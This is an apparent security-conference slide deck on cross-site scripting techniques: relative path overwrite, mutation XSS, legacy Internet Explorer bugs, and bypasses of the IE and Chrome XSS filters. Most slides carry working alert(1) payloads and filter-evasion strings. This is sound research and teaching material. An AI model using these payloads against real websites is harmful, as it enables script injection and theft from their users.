xss horror show scary xss vectors about me researcher for portswigger (makers of burp suite)...

XSS Horror Show

scary XSS vectors

About me• Researcher for Portswigger (makers of Burp

suite)• JavaScript XSS hacker• I love JavaScript sandboxes• Built MentalJS a JavaScript parser/sandbox• Worked for Microsoft for 5 years testing the IE

XSS filter

Horror FILMS ARE LIKE SECURITY

They both have zombies

Horror FILMS ARE LIKE SECURITY

ENDLESS SEQUELS

THE SAW MOMENT• Unexpected twist• Clever thing you didn’t see coming• Nobody thought of it• When it happens you enjoy it• It explains a lot

Absolute urls• Absolute URLs are complete• Specify the full URL for the destination• There is no guess work for the browser other

than resolving the domain or protocol

relative urls• Relative URLs are dependent on where you

are in the document structure of the site• The browser gets a URL based on where it

thinks you are in the document structure• There is guess work for the browser• I consider Relative URLs harmful

relative urls

Have you visited a web site AND ....

SOMETHING ISNT RIGHT

relative urls

Understanding the problem• Relative path references a style sheet• We add a slash to the URL that the code isn’t

expecting• The browser tries to find the style sheet at a

different location• The browser returns 404 or 302

Your code could be vulnerable

relative path overwrite• Overwrite the intended relative path by

providing a new path using slash /• Provide the expected file with valid data• Execute the expected file and take advantage

of where you execute• CSS is the obvious target but RPO works with

any format that uses a relative URL

Exploiting RPO1. Require some persistent text on the page,

such as a subject in a web mail client2. Require a relative path that references a style

sheet3. Require a browser that will render the style

sheet and execute code

Exploiting RPOQuick CSS lesson

“In some cases, user agents must ignore part of an illegal style sheet. This specification defines ignore to mean that the user agent parses the illegal part (in order to find its beginning and end), but otherwise acts as if it had not been there.”

Exploiting RPO• If we can get the browser to point to a web

page that contains CSS maybe we can render it

• Using CSS selectors we can ignore any invalid CSS (such as HTML) that happened before

• Expressions are our friend

Exploiting RPO• Web page contains relative style sheet to

style.css• We provide the shortest XSS vector in the

world “/”• The style sheet loads the web page as the

style sheet using the following path “/test.php/styles.css”

Exploiting RPO<html><head><link href="styles.css" rel="stylesheet" type="text/css" /></head><body>{}*{xss:expression(alert(1))}</body></html>

http://somewebsite/someurl.php/

Exploiting RPO• What about ../ type paths?• Luckily you are safe.• Actually I lied you are not safe

Exploiting RPO• ../ the browser tries to go up in the

document structure• It doesn’t know the actual file on the server• If we provide a fake directory then we can

send the stylesheet back to our html page• “/index.php/fakedirectory/fakedirectory/”• http://localhost/relative/index.php/styles.css

Exploiting RPO• Expressions work in IE10 in compat mode• Quirks mode or old doctypes enable

expressions• Iframing can inherit the document mode

from the parent

Mutation XSS• Mutation XSS was coined by me and Mario • Happens when HTML mutates from a safe

form into an unsafe form• Usually when innerHTML is read and written

Mutation XSS• The technique fools the HTML parser to

rewrite the code• There are many ways to do this• Attribute quotes• XHTML/HTML confusion• CSS strings/urls badly decoded

Mutation XSS• <img src=“1” title=“``onerror=alert(1)”>• Rewritten to <img src=“1”

title=``onerror=alert(1)>• Discovered by Yosuke Hasegawa

@hasegawayosuke• Birth of Mutation XSS• Worked in IE7 is now patched in IE

Mutation XSS• Maybe we can confuse the HTML parser using

XHTML like vectors• Confuse the parser into thinking it’s inside an

attribute and therefore render entities• <xmp/></xmp><iframe

onload=alert(1)>• <xmp></xmp><iframe

onload="alert(1)">padding</xmp></iframe>• Works in <= IE9 compat

Mutation XSS• Technique also works for• Style• Script• Comment• XML• E.g. <style/></style><iframe

onload=alert(1)>

Mutation XSS• I thought to myself what other tags mutate• IE has a non-standard tag <%• Behaves like a comment but also renders

attributes in different versions of IE• <% a=%&gt<iframe/onload=alert(1)//>• <% a="%><iframe onload='alert(1)//"'>

padding</%></iframe>• Works in <=IE9 compat

Real world Mutation XSS• Lets search in Google • </title><iframe src=//microsoft.com>• Put IE in IE8 compat mode• Click print preview• The title mutates in the print preview!

Real world Mutation XSS

Mutation XSS• How can we simulate mXSS?• All you need is innerHTML+=‘’• Reads and writes HTML causing mutation• Multiple read/writes cause multiple levels of

mutation• Is there a tool for that?• Of course:

http://businessinfo.co.uk/labs/mxss/

LEGacy IE bugs• Anchors with id’s can be manipulated using

the global variable referencing that object• E.g. <a href=“123” id=“x”>test</a>• <script>x=‘javascript:alert(1)’</script>• Global variable causes assignment to the href

property of the anchor• Anchor contains javascript url • Works in compat mode in IE

LEGacy IE bugs• You can reassign functions from within the

arguments of a javascript function call• If XSS occurs within the arguments of a

function you can bypass the IE XSS filter• someFunc(XSS HERE);• someFunct(1,someFunct=alert)

LEGacy IE bugs• Frame busters can be attacked using DOM

clobbering• We can overwrite references to location so

that other DOM objects are used• Classic frame buster• if(top.location!=self.location) {

self.location=top.location}

LEGacy IE bugs• If we can control the “top” object then we

can execute XSS• <form id=top location=javascript:alert(1)>• Injection must occur before the frame buster• Because the attribute is html decoded and

location assignment is also decoded we can double encode our vector!

LEGacy IE bugs• If we can control the “top” object then we can

execute XSS• <form id=top location=javascript:alert(1)>• Injection must occur before the frame buster• Because the attribute is html decoded and

location assignment is also decoded we can double encode our vector!

• <form id=top location=javascript:alert(1)>

XSS Filter bypasses• Inside a script block

<script>x=“INJECTION”</script>• I can bypass the Chrome XSS filter using

</script>• XSS auditor doesn’t support script based

injections however I can inject a HTML based vector that uses a closing </script> block

• </script><svg><script>alert(1)+"

XSS Filter bypasses• Another XSS auditor bypass• If injection occurs within an attribute and a

script occurs after the injection I can bypass the filter

• "><script/src=data:,alert(1)%2b“• <img alt=""><script/src=data:,alert(1)+""

src="123" /><script> y = "abc"; </script>

XSS Filter bypasses• IE vulnerable to meta charset injection (now

patched )• <meta charset=utf-7>+ADw-script+AD4-

alert(1)+ADw-/script+AD4-• Rules didn’t account for charset attribute• Allowed injection of UTF-7 or other charsets

XSS Filter bypasses• IE blocked anchor based injections • Regex looks like <a.*?hr{e}f• Could be bypassed using formaction now

patched • <input type=hidden name=x

value=<script>alert(1)</script>><button formaction=xss2.php style=width:100%;height:100%;font-size:55pt;position:absolute>PWND</button>

XSS Filter bypasses• There is a generic method to bypass both

IE/Chrome XSS filter• Site filters a character such as “• We can inject the character to bypass the

filter by hiding the keywords searched for by the filters

• E.g. ‘abc><sty”le=xss:expression(alert(1)) x=‘

XSS Filter bypasses• XSS auditor is easier to bypass and once a

character is filtered (removed) you can bypass most checks

• IE is clever in some instances and can detect if characters like <> are removed

• Still can be bypassed using quotes in script based injections

• Other characters can easily bypass the filter where keywords such as style are used

XSS Filter bypasses• Site filters “(“• javsc(ript:alert(1) bypasses IE XSS filter• Site filters “;”• <img src=“1” on;error=alert(1)> bypasses XSS

auditor and IE XSS filter• Site filters “• ‘,alert(“1),’ bypasses IE XSS filter

General XSS techniques• Srcdoc is awesome for bypassing WAF’s• Multiple levels of encoding can bypass filters• <iframe srcdoc="<iframe srcdoc='<iframe

onload=alert(1)>'>"></iframe>• Data urls inherit origins on Firefox • Nested iframes can mix urlencoding and HTML

entities• <iframe src="data:text/html,<iframe

src='data:text/html,%26lt;iframe onload=alert(1)>'>"></iframe>

General XSS techniques• URLs look like JavaScript• http://someurl.com

(label) (comment)• IE treats it as valid JavaScript • abc:

Valid JavaScript in IE• If we can inject new lines then we can eval a

URL!

General XSS techniques• IE supports both new lines and line/para

separators within the url• Chrome supports line/para separator• Firefox url encodes • location.hash=‘\nalert(1)’;

eval(document.URL)• location.hash=‘\u2028alert(1)’;

eval(document.URL)

General XSS techniques• External urls support new lines/carriage

returns and tab between slashes• <script

src=“/&Tab;/businessinfo.co.uk/labs/xss/xss.js”></script>

• Fool external url checks with tabs and new lines

General XSS techniques• Window onerror handler• Can be used for XSS without ( or )• E.g. onerror=alert;throw”XSS”• Firefox prefixes with two words • Chrome uses only one • onerror=eval;throw’=alert\x281\x29’

THE end

questions?

xss horror show scary xss vectors about me researcher for portswigger (makers of burp suite)...

Documents